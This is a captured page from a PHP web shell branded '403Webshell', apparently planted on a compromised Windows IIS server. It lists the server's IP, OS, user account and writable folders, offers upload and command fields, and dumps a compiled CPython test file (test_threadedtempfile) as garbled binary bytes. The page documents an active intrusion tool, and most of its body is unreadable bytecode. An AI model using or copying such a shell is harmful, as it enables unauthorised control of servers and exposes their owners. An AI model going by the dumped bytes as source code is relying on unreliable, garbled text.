403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_threadedtempfile.cpython-315.pyc
R
>lqjdc�(�Qs]PHs]QHGs]QHGs]PHs]PHs]PH s]QH$G
s
\OP	Q5]s]2s
\O2sQQ\O 2sQQ\O$2s\Q	6Xc\O*2P!P!)
an
Create and delete FILES_PER_THREAD temp files (via tempfile.TemporaryFile)
in each of NUM_THREADS threads, recording the number of successes and
failures.  A failure is a bug in tempfile, and may be due to:

+ Trying to create more than one tempfile with the same name.
+ Trying to delete a tempfile that doesn't still exist.
+ Something we've never seen before.

By default, NUM_THREADS == 20 and FILES_PER_THREAD == 50.  This is enough to
create about 150 failures per run under Win98SE in 2.0, and runs pretty
quickly. Guido reports needing to boost FILES_PER_THREAD to 500 before
provoking a 2.0 failure under Linux.
)�support)�threading_helper)�	print_exc)�modulec�0`�\sQs]"sn]s]sQsQsUsP!)�TempFileGreedyc��[O2Um[O	2[[2FDCo[OQ2oUO2U9O]*
tm
JE	P!S9O]*
tm[SOQ5J}9h)zw+b)�file)
�io�StringIO�errors�
startEvent�wait�range�FILES_PER_THREAD�tempfile�
TemporaryFile�close�ok_count�error_countr)�self�i�fs&  �/C:\Python315\\Lib\test\test_threadedtempfile.py�run�TempFileGreedy.run&s~���k�k�m��������'�(�A�
#��*�*�5�1�����	�
�
�
��"�
�)��
,�� � �A�%� ��t�{�{�+�+�s�&B	�	1B=)r)	�__name__�
__module__�__qualname__�__firstlineno__rrr�__static_attributes__�__classdictcell__��
__classdict__s@rrr"s�����K��H�#�#�rc�X`�\sQs]4sn\O
\QP
Q5Q2sQsUs	P!)�ThreadedTempFileTest)�size�memuse�dry_runc	��[[2Tt,tFD
o[2MJ	oo[OU[
O29^tt^2PPP2[QU22oSTt,tFDSpUO%fJ[UO2[UOO22*MJU	ooQ[U2UQOU21*oUOU,U2UOU[[ *2P!ttoh)%fhK�9httoh)Nc3�D�SF �DpOw�	J	P!3h)N)r)�.0�ts& r�	<genexpr>�1ThreadedTempFileTest.test_main.<locals>.<genexpr>:s��W���W����W�s� zErrors: errors %d ok %d
%s�
)r�NUM_THREADSrr�
start_threadsr�set�sumr�str�namer�getvalue�len�join�assertEqualr)rr&r�threads�okr,r�msgs&&      r�	test_main�ThreadedTempFileTest.test_main5s���-2�;�-?�@�-?��>�#�-?��@�
�
+�
+�G�Z�^�^�
D�
D��E�
�-�W�-�
-��"�5�"�a�m�m�9�#�a�f�f�+��A�H�H�$5�$5�$7� 8�8�8�"�	�5�,�s�6�{�B��I�I�f��/��������S�)�����[�+;�;�<��A�
D�
D��5s$�D+�D0�4E�AE�0E	�9E	�i�)
rrrrr�
bigmemtestr0r=rr r!s@rr%r%4s'�������[��5�I�=�J�=r#r%�__main__)�__doc__r�testr�test.supportr�unittestr	�	threading�	tracebackr�requires_working_threadingr0r�Eventr�Threadr�TestCaser%r�mainr?r#r�<module>rMs���
���)��	����+�+�4�8������_�_�
�
�#�Y�%�%�#�$
=�8�,�,�
=��z���M�M�O�r#

Youez - 2016 - github.com/yon3zu
LinuXploit